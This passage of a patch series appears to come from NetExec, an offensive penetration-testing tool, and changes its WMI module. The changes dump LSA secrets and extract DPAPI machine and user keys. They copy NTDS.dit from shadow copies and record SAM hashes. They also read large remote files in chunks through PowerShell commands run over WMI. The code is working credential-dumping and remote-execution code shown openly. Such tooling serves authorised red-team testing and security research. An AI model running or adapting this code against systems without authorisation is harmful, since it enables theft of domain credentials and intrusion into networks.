sam_hash: return username, _, lmhash, nthash, _, _, _ = sam_hash.split(":") + # TODO: Implement wmi creds database add_sam_hash.sam_hashes += 1 add_sam_hash.sam_hashes = 0 @@ -561,10 +562,10 @@ def add_hash(secret_type, secret): if bootkey is None: return - # Get the LSA hive - lsa_hive_path = f"{self.remote_ops.shadow_copy_path}\\Windows\\NTDS\\ntds.dit" - if not self.get_file_single(lsa_hive_path, f"{output_filename}.ntds.dit"): - self.logger.fail("Could not get ntds.dit") + # Get the NTDS.dit file + ntds_file = f"{self.remote_ops.shadow_copy_path}\\Windows\\NTDS\\ntds.dit" + if not self.get_file_single(ntds_file, f"{output_filename}.ntds.dit"): + self.logger.fail("Could not download NTDS.dit file") return NTDS = NTDSHashes( From e1930979698ecd1232009d9e3be83400d42d298c Mon Sep 17 00:00:00 2001 From: zblurx Date: Mon, 14 Sep 2026 16:44:43 +0200 Subject: [PATCH 17/20] adapt LSA dump to dpapi upgrade --- nxc/protocols/wmi.py | 23 +++++++++++++++++------ 1 file changed, 17 insertions(+), 6 deletions(-) diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index 115e074f16..d253892637 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -472,10 +472,18 @@ def add_sam_hash(sam_hash): self.logger.success(f"Dumped {highlight(add_sam_hash.sam_hashes)} SAM hashes to {output_filename + '.sam'}") @requires_admin - def lsa(self): + def lsa(self, quiet=False): def add_lsa_secret(secret): add_lsa_secret.secrets += 1 - self.logger.highlight(secret) + if "dpapi_machinekey" not in secret: + if not quiet: + self.logger.highlight(secret) + else: + correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"} + self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())} + if not quiet: + self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}") + self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}") if "_SC_GMSA_{84A78B8C" in secret: gmsa_id = secret.split("_")[4].split(":")[0] data = bytes.fromhex(secret.split("_")[4].split(":")[1]) @@ -485,7 +493,8 @@ def add_lsa_secret(secret): ntlm_hash = MD4.new() ntlm_hash.update(currentPassword) passwd = binascii.hexlify(ntlm_hash.digest()).decode("utf-8") - self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}") + if not quiet: + self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}") add_lsa_secret.secrets = 0 @@ -508,12 +517,14 @@ def add_lsa_secret(secret): isRemote=None, perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret), ) - self.logger.display("Dumping LSA secrets") + if not quiet: + self.logger.display("Dumping LSA secrets") LSA.dumpCachedHashes() LSA.exportCached(output_filename) LSA.dumpSecrets() LSA.exportSecrets(output_filename) - self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {output_filename + '.secrets'} and {output_filename + '.cached'}") + if not quiet: + self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {output_filename + '.secrets'} and {output_filename + '.cached'}") @requires_admin def ntds(self): @@ -742,7 +753,7 @@ def remote_ops(self): if self._remote_ops is None: self._remote_ops = RemoteOperations(self, shadow_id=self.args.shadow_id) return self._remote_ops - + @requires_admin def sccm(self): self.dpapi_triage.triage_sccm() From 4fd05318dff42c2eeb7595e0f135aa644d74bf27 Mon Sep 17 00:00:00 2001 From: zblurx Date: Mon, 14 Sep 2026 17:57:44 +0200 Subject: [PATCH 18/20] check filesize and warn user if too big --- nxc/protocols/wmi.py | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index d253892637..9795fe1f6a 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -390,6 +390,20 @@ def read_file(self, remote_path) -> bytes | None: if powershellv3_namespace is None: return None + # Check file size + def callback_func(iEnumWbemClassObject, records): + wmi_results = iEnumWbemClassObject.Next(0xFFFFFFFF, 1)[0] + record = dict(wmi_results.getProperties()) + callback_func.size = record["FileSize"]["value"] + + callback_func.size = 0 + + wql = f"SELECT FileSize FROM CIM_DataFile WHERE Name = '{escaped_path}'" + self.wmi_query(wql=wql, namespace="//./root/cimv2", callback_func=callback_func) + # If file is bigger than 70MB, print a warning + if callback_func.size > 73400320: # 70MB + self.logger.fail(f"{remote_path} filesize is {callback_func.size/1024**2:.2f} Mo. The download will take some time and can crash.") + # Read the file try: object_path = f'PS_ModuleFile.InstanceID="{escaped_path}"' @@ -659,7 +673,7 @@ def callback_func(iEnumWbemClassObject, records): record = dict(wmi_results.getProperties()) records.append(record) - snapshots = self.wmi_query(wql=wql, namespace="root\\cimv2", callback_func=callback_func) + snapshots = self.wmi_query(wql=wql, namespace="//./root/cimv2", callback_func=callback_func) if not snapshots: self.logger.info("No volume shadow copies found.") return From f55edf39871f5572060ad52b9f1c0902027895e7 Mon Sep 17 00:00:00 2001 From: zblurx Date: Tue, 22 Sep 2026 17:07:48 +0200 Subject: [PATCH 19/20] support big files download --- nxc/protocols/wmi.py | 75 +++++++++++++++++++----------- nxc/protocols/wmi/wmiexec.py | 8 ++-- nxc/protocols/wmi/wmiexec_event.py | 9 ++-- 3 files changed, 58 insertions(+), 34 deletions(-) diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index 9795fe1f6a..f8a7b3887a 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -3,6 +3,7 @@ import binascii from Cryptodome.Hash import MD4 from io import StringIO +import base64 from nxc.helpers.negotiate_parser import parse_challenge from nxc.config import process_secret @@ -401,32 +402,48 @@ def callback_func(iEnumWbemClassObject, records): wql = f"SELECT FileSize FROM CIM_DataFile WHERE Name = '{escaped_path}'" self.wmi_query(wql=wql, namespace="//./root/cimv2", callback_func=callback_func) # If file is bigger than 70MB, print a warning - if callback_func.size > 73400320: # 70MB - self.logger.fail(f"{remote_path} filesize is {callback_func.size/1024**2:.2f} Mo. The download will take some time and can crash.") - - # Read the file - try: - object_path = f'PS_ModuleFile.InstanceID="{escaped_path}"' - iWbemClassObject, _ = powershellv3_namespace.GetObject(object_path) - except DCERPCSessionError as e: - if e.error_code == 0x80041002: - self.logger.fail(f"Cannot find file '{remote_path}'") - return None - - obj = iWbemClassObject.getProperties() - - file_data = None - for prop_name, prop_value in obj.items(): - if prop_name == "FileData": - file_data = prop_value["value"] - break - - if len(file_data) < 4: - return None - - # Unpack it - file_length = struct.unpack(">I", bytes(file_data[:4]))[0] - return bytes(file_data[4:4 + file_length]) + if callback_func.size < 73400320: # 70MB + # Read the file + try: + object_path = f'PS_ModuleFile.InstanceID="{escaped_path}"' + iWbemClassObject, _ = powershellv3_namespace.GetObject(object_path) + except DCERPCSessionError as e: + if e.error_code == 0x80041002: + self.logger.fail(f"Cannot find file '{remote_path}'") + return None + + obj = iWbemClassObject.getProperties() + + file_data = None + for prop_name, prop_value in obj.items(): + if prop_name == "FileData": + file_data = prop_value["value"] + break + + if len(file_data) < 4: + return None + + # Unpack it + file_length = struct.unpack(">I", bytes(file_data[:4]))[0] + return bytes(file_data[4:4 + file_length]) + else: + self.logger.fail(f"{remote_path} filesize is {callback_func.size/1024**2:.2f} Mo. The download will take some time and use wmi command execution.") + # Read file dirty + data = b"" + chunk_size = 1 * 1024 * 1024 # 5MB - Could not do bigger or it crash + chunk_count = (callback_func.size + chunk_size - 1) // chunk_size + try: + for i in range(chunk_count): + offset = i * chunk_size + self.logger.debug(f"Reading bytes from {offset} to {offset+chunk_size if offset+chunk_size < callback_func.size else callback_func.size}") + powershell_command = f"$fs=[IO.File]::OpenRead('{remote_path}');try {{ $fs.Seek({offset},[IO.SeekOrigin]::Begin)|Out-Null;$b=[byte[]]::new({chunk_size});$n=$fs.Read($b,0,$b.Length);Write-Output ([Convert]::ToBase64String($b,0,$n)) }} finally {{ $fs.Dispose() }}" + output = self.execute_psh(powershell_command, get_output=True) + data += base64.b64decode(output) + return data + except Exception as e: + self.logger.debug(f"Error while downloading {remote_path}: {e}") + self.logger.fail(f"Could not download {remote_path}") + return None def get_file_single(self, remote_path, download_path): if self.args.append_host: @@ -707,7 +724,8 @@ def execute(self, command=None, get_output=False, use_powershell=False): self.iWbemLevel1Login, self.logger, self.args.exec_timeout, - self.args.codec + self.args.codec, + self.get_namespace("//./root/cimv2") ) elif self.args.exec_method == "wmiexec-event": exec_method = wmiexec_event.WMIEXEC_EVENT( @@ -715,7 +733,8 @@ def execute(self, command=None, get_output=False, use_powershell=False): self.iWbemLevel1Login, self.logger, self.args.exec_timeout, - self.args.codec + self.args.codec, + self.get_namespace("//./root/subscription") ) output = exec_method.execute(command, get_output, use_powershell=use_powershell) diff --git a/nxc/protocols/wmi/wmiexec.py b/nxc/protocols/wmi/wmiexec.py index b03826d23d..a6d1654a11 100644 --- a/nxc/protocols/wmi/wmiexec.py +++ b/nxc/protocols/wmi/wmiexec.py @@ -21,7 +21,7 @@ class WMIEXEC: - def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec): + def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec, cimv2_namespace = None): self.__target = target self.__iWbemLevel1Login = iWbemLevel1Login self.logger = logger @@ -32,8 +32,10 @@ def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec): self.__pwd = "C:\\" self.__codec = codec - self.__iWbemServices = self.__iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) - self.__iWbemLevel1Login.RemRelease() + self.__iWbemServices = cimv2_namespace + if self.__iWbemServices is None: + self.__iWbemServices = self.__iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) + self.__iWbemLevel1Login.RemRelease() self.__win32Process, _ = self.__iWbemServices.GetObject("Win32_Process") def execute(self, command, output=False, use_powershell=False): diff --git a/nxc/protocols/wmi/wmiexec_event.py b/nxc/protocols/wmi/wmiexec_event.py index 2a09a3a5c7..8ffd5a5f0e 100644 --- a/nxc/protocols/wmi/wmiexec_event.py +++ b/nxc/protocols/wmi/wmiexec_event.py @@ -30,7 +30,7 @@ class WMIEXEC_EVENT: - def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec): + def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec, subscription_namespace = None): self.__target = target self.__iWbemLevel1Login = iWbemLevel1Login self.__outputBuffer = "" @@ -41,8 +41,11 @@ def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec): self.__instanceID = f"windows-object-{uuid.uuid4()!s}" self.__instanceID_StoreResult = f"windows-object-{uuid.uuid4()!s}" - self.__iWbemServices = self.__iWbemLevel1Login.NTLMLogin("//./root/subscription", NULL, NULL) - self.__iWbemLevel1Login.RemRelease() + self.__iWbemServices = subscription_namespace + if self.__iWbemServices is None: + self.__iWbemServices = self.__iWbemLevel1Login.NTLMLogin("//./root/subscription", NULL, NULL) + self.__iWbemLevel1Login.RemRelease() + def execute(self, command, output=False, use_powershell=False): if "'" in command: From cd956dd91f5da455159c1df134492222dbb84d4c Mon Sep 17 00:00:00 2001 From: zblurx Date: Wed, 23 Sep 2026 10:11:42 +0200 Subject: [PATCH 20/20] ruff --- nxc/protocols/wmi.py | 10 +++++----- nxc/protocols/wmi/wmiexec.py | 2 +- nxc/protocols/wmi/wmiexec_event.py | 3 +-- 3 files changed, 7 insertions(+), 8 deletions(-) diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index f8a7b3887a..3092d5ba28 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -402,7 +402,7 @@ def callback_func(iEnumWbemClassObject, records): wql = f"SELECT FileSize FROM CIM_DataFile WHERE Name = '{escaped_path}'" self.wmi_query(wql=wql, namespace="//./root/cimv2", callback_func=callback_func) # If file is bigger than 70MB, print a warning - if callback_func.size < 73400320: # 70MB + if callback_func.size < 73400320: # 70MB # Read the file try: object_path = f'PS_ModuleFile.InstanceID="{escaped_path}"' @@ -427,15 +427,15 @@ def callback_func(iEnumWbemClassObject, records): file_length = struct.unpack(">I", bytes(file_data[:4]))[0] return bytes(file_data[4:4 + file_length]) else: - self.logger.fail(f"{remote_path} filesize is {callback_func.size/1024**2:.2f} Mo. The download will take some time and use wmi command execution.") + self.logger.fail(f"{remote_path} filesize is {callback_func.size / 1024**2:.2f} Mo. The download will take some time and use wmi command execution.") # Read file dirty data = b"" - chunk_size = 1 * 1024 * 1024 # 5MB - Could not do bigger or it crash + chunk_size = 1 * 1024 * 1024 # 5MB - Could not do bigger or it crash chunk_count = (callback_func.size + chunk_size - 1) // chunk_size - try: + try: for i in range(chunk_count): offset = i * chunk_size - self.logger.debug(f"Reading bytes from {offset} to {offset+chunk_size if offset+chunk_size < callback_func.size else callback_func.size}") + self.logger.debug(f"Reading bytes from {offset} to {offset + chunk_size if offset + chunk_size < callback_func.size else callback_func.size}") powershell_command = f"$fs=[IO.File]::OpenRead('{remote_path}');try {{ $fs.Seek({offset},[IO.SeekOrigin]::Begin)|Out-Null;$b=[byte[]]::new({chunk_size});$n=$fs.Read($b,0,$b.Length);Write-Output ([Convert]::ToBase64String($b,0,$n)) }} finally {{ $fs.Dispose() }}" output = self.execute_psh(powershell_command, get_output=True) data += base64.b64decode(output) diff --git a/nxc/protocols/wmi/wmiexec.py b/nxc/protocols/wmi/wmiexec.py index a6d1654a11..7c517b7f16 100644 --- a/nxc/protocols/wmi/wmiexec.py +++ b/nxc/protocols/wmi/wmiexec.py @@ -21,7 +21,7 @@ class WMIEXEC: - def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec, cimv2_namespace = None): + def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec, cimv2_namespace=None): self.__target = target self.__iWbemLevel1Login = iWbemLevel1Login self.logger = logger diff --git a/nxc/protocols/wmi/wmiexec_event.py b/nxc/protocols/wmi/wmiexec_event.py index 8ffd5a5f0e..0684e34dde 100644 --- a/nxc/protocols/wmi/wmiexec_event.py +++ b/nxc/protocols/wmi/wmiexec_event.py @@ -30,7 +30,7 @@ class WMIEXEC_EVENT: - def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec, subscription_namespace = None): + def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec, subscription_namespace=None): self.__target = target self.__iWbemLevel1Login = iWbemLevel1Login self.__outputBuffer = "" @@ -46,7 +46,6 @@ def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec, subscr self.__iWbemServices = self.__iWbemLevel1Login.NTLMLogin("//./root/subscription", NULL, NULL) self.__iWbemLevel1Login.RemRelease() - def execute(self, command, output=False, use_powershell=False): if "'" in command: command = command.replace("'", r'"')